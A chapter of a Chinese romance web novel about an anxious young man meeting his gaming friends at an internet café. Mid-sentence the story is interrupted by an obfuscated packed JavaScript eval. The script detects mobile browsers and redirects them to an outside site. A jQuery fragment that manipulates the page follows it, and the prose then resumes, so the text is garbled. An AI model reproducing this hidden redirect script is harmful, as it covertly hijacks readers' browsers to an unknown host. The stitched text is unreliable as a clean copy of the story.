清晨的网吧太过安静，简单的音调也能荡出回音，时和站在门后阴影里，透着玻璃看着前台。中央空调出风口呜呜作响，像是上了年纪。他数着声音，指尖陷进尼龙抽绳里。
类似的话半年前经常听见：
“跟他走这么近？小心他妈妈把你电话打爆！”
“怎么，我犯贱吗我要做他保镖？”
“他就是个累赘！”
…
累赘、累赘、累赘！
半年前他就像现在一样，站在原地，看着所有人从身旁绕过，受着各种各样打量的眼神，好像无坚不摧，实际千疮百孔。直到晕倒，休学。
可他现在吃了药，不会晕倒了。不会晕倒，只能眼睁睁看着沈停猛地起身，被一个陌生面孔虚锤了一拳，又看着俞秋被椅子绊着，推开陌生面孔走过来。俞秋唇瓣开开合合，却没有声音。像一场无声的黑白电影。
她走近时，时和不自觉后退半步。倏地，脖子撞到一抹冰凉。凉感沿着颈椎骨一路往下，刺的尾椎绷紧。
左侧余光投来半片阴影，阴影说：“想回苍城我可以帮你打包行李。如果不回……就好好带。”
“我就嘴上一瓢。”自知理亏，沈停搭了搭后脑勺，扭头躲着宴云川的目光。可惜目光太灼热，他还是转了回来，“行行，我好好带。学长你可别看我了，我发毛。”
脖颈冰凉的触感被体温过得灼热，发梢贴着皮肤微微发痒。时和思绪回笼，意识到脖颈搭着的是宴云川的手，整个人僵成了一座石雕。突然，脖子上的手离开了。
没了温度，空调的温差让他抖了两抖。他下意识侧目寻找宴云川。看见宴云川两手自然揣进兜里，站在身侧没有离开的意思，又安心地把目光放回地面。
前台一亩三分之地从没有一刻这么拥挤，五个人让空气都变得稀薄。直到林朔野嘻哈上前粉饰太平。
林朔野自来熟地伸出手：“宝贝儿！终于见面啦！我是尹川，能听出我的声音吗？”
时和又攥紧了纸袋，点点头。
这声音太好认了，人也跟想象中的形象一模一样，一样的跳脱，一样的热情。他迟疑着把纸袋递出去，开场白都没说出来，纸袋夹着一声“哇塞”被接走。
“我去？！Switch限定版手柄！”
听见声音，宴云川讶异看过去。恰好俞秋说：“我的是一副降噪耳机！”他又看向时和。
原来每个人的礼物不一样吗？为什么他是纪念币？
宴云川想问，就见林朔野直接上前给时和来了个“好兄弟”的拥抱，嘴里念念有词：“爸爸！以后有我一口饭吃肯定有你一口肉！我哥要是负了你你就跟我说！我保准帮你薅他一笔抚养费！包不带心疼的！”
他扶了扶后仰的时和，又挑眉调出微信：“再说一次。”
林朔野还处于兴奋冲昏头脑的阶段，张口就喊了一声“爸”。好在他没完全昏，瞥见微信备注“姑父”，舌头及时转向，“爸！你该给我生活费了！”
说着，身后走来一道声音：“傻逼。”
沈停走到时和面前站定：“刚才，抱歉啊。”说得很随性，也没有任何的不耐烦和鄙夷，只有略微的不自然。
比沈停更不自然的是时和。
时和僵在原地。
无论是网吧还是面前错落站着的三个人，对于他来说都太过于陌生。明明半个月前他还在心理医院接受暴露治疗，现在竟然在网吧被左右夹击，前拥后抱。太奇怪了。
僵持之际，网吧玻璃门被推开。两个客人开门，看见门口四方鼎立的架势吓得立马关上了门。玻璃门透出两个抬头观望的影子，似乎在判断自己有没有走错路。
“行了，别站在这里当猴了。”宴云川往门外看了一眼，通宵的疲惫和这一连串的热闹让他头疼加剧。他捏着眉心，缓和稍许又对时和说：“我们先去包厢。”
时和品了品“我们”这个词，点头跟上去。
身后，沈停难以置信的声音一路从收银台响到走廊尾：“这合理吗！见面他也不认识我？”
声音杂糅着林朔野毫无诚意的安抚：“你活该！”
**
单人包厢狭窄逼仄，饶是整理的再干净，进门铺面来的压抑感依旧存在。时和贴在墙边，看着宴云川在他半臂距离调试设备有点喘不上气，但不是发病。更像是空气被掠夺的窒息。
他悄悄往门边挪，突然听见宴云川问：“鼠标习惯快一点还是慢一点？”脚下趔趄，险些踩到自己。
电脑前响起一声轻笑。
时和佯装淡定：“快一点。”
“我猜也是。”
“……”
“键盘快捷键有特殊要求吗？”
“没。”
“耳机音量呢？”
“小点声。”
“嗯。”
宴云川把耳机放在耳边测试声音，耳机线从他锁骨处下坠，搭载腕间。电脑光影沿着鼻翼一路向下，所有构图恰到好处，眨眼的每一帧都像摄影作品。时和不自觉舔了舔牙。
如果时熵在，肯定会约宴云川做模特。
也不知道时熵现在在哪……
想到时熵，时和出了会神。正想着巴黎还是纽约，思绪被椅子摩擦地板的呲拉声打断。他眨了眨眼，听见宴云川说：“好了，你试试。”
电脑已经点开了幻世录的界面，耳机线也整理成了一圈放在桌面，鼠标和键盘平行，桌边还有一罐提前准备好的可乐。
网吧来的每一个客人都能得到这样的服务吗？
时和代入了一下刚才进店的客人坐在椅子上，宴云川站在身后扶着椅子的场面，他帽檐下的眼睛闪过不满，一瞬消失，连他自己都没察觉情绪从何而来。
坐下后，宴云川说：“找我可以发语音，或者可以点这儿，”他弯下腰，隔着椅子操控鼠标。鼠标挪到桌面右上角，有一个网吧服务，“这里，可以呼叫网管。我在前台可以听见。”
空气一下被压缩了，窒息感再次涌上大脑。时和腿肚绷紧，魂不附体地胡乱应
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546534|171156||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下。等到桌上的阴影消失时，他感觉小腿有点抽筋，还有点胃疼。
阴影离开椅子，却没有出门的意思。
不到三平米的包厢目光不管往哪放都能在余光里看见彼此。时和放在膝上的手狠狠捏紧，倏地听见身后的人问：“为什么——”
问到一半，包厢门被敲响。林朔野探了个脑袋进来：“哥，柚子让我们帮忙录个素……材。”他提溜着眼睛在两人身上开会转了三圈，“我是不是打扰到你们师徒培养感情了？”
“……”
时和耳垂又烧起来了。
帽子和口罩虽能挡住大半张脸，可是挡不住耳垂的红晕，尤其在屏幕光的照射下更是无所遁形。宴云川一眼看见，他转身捞着林朔野往外走，边走边说：“下次用不好语文就说英语。”
声音慢慢被包厢门隔断。等声音彻底消失，时和瞬间松懈，捂着胃瘫在椅背上。下一秒，离开的人又折返回来，让他来不及端直。
宴云川推开门，看见时和半放松半紧张地贴着椅子不禁失笑，然后瞥见放在胃部的手，又走上前把桌上的可乐拿走，说道：“前台有胃药和温水。”
不是胃病。时和在心里说：“只是神经太紧张引起的胃疼，过一下就好了。”解释的话说不出口，最终变成两个字：“温水。”
“好。”
门关上，没过三分钟又打开。一来一回，等人再次离开的时候，时和后背沁了一身地汗。
**
走出包厢，宴云川脚步顿了顿，转向走去斜对面的双人包间。
一早上有好几个疑问悬在心头：为什么要送他纪念币、为什么时和会有躯体化现象、为什么时和好像很害怕网吧。第一个问题错过了机会，他只能找人问后面两个。
“沈停。”宴云川走进门喊了声。
沈停正在给柚子出谋划策：“既然主题是‘你眼中的世界‘，那就拍风景呗。长安拍到九绡宫，拍足每一个风景打卡地。”他带着耳机，听不见宴云川的声音。
耳机里传来柚子嫌弃的语气：“太没创意了吧！我说你好歹也是游戏系高材生，属于理科生的浪漫呢？”
沈停笑了笑：“理科生哪来的浪漫？我们只有推导。你让我给创意方案不行，让我给你编程很OK。”
语音连的YY，林朔野也能听见。听着沈停一本正经地诋毁理科生，他赶紧开麦为自己正名：“别听这傻逼瞎说！我可是分分钟能用Python画像素爱心的理科生！”
语音里传来几声嫌弃的“咦惹”。
单身感叹：“川儿，你跟被窝有什么区别？都俗！”
清絮应声说：“各有各的俗。”
“我——”林朔野还想蹦一些别的不俗的方案，突然，耳机被敲了一下。他回头，看见宴云川指了指沈停，恍然地摘下了沈停的耳机。
“你干——”沈停刚想爆两声粗，回头看见宴云川，惊讶招呼了一句：“学长？”
宴云川朝门外看了眼：“有点事想问你，方便吗？”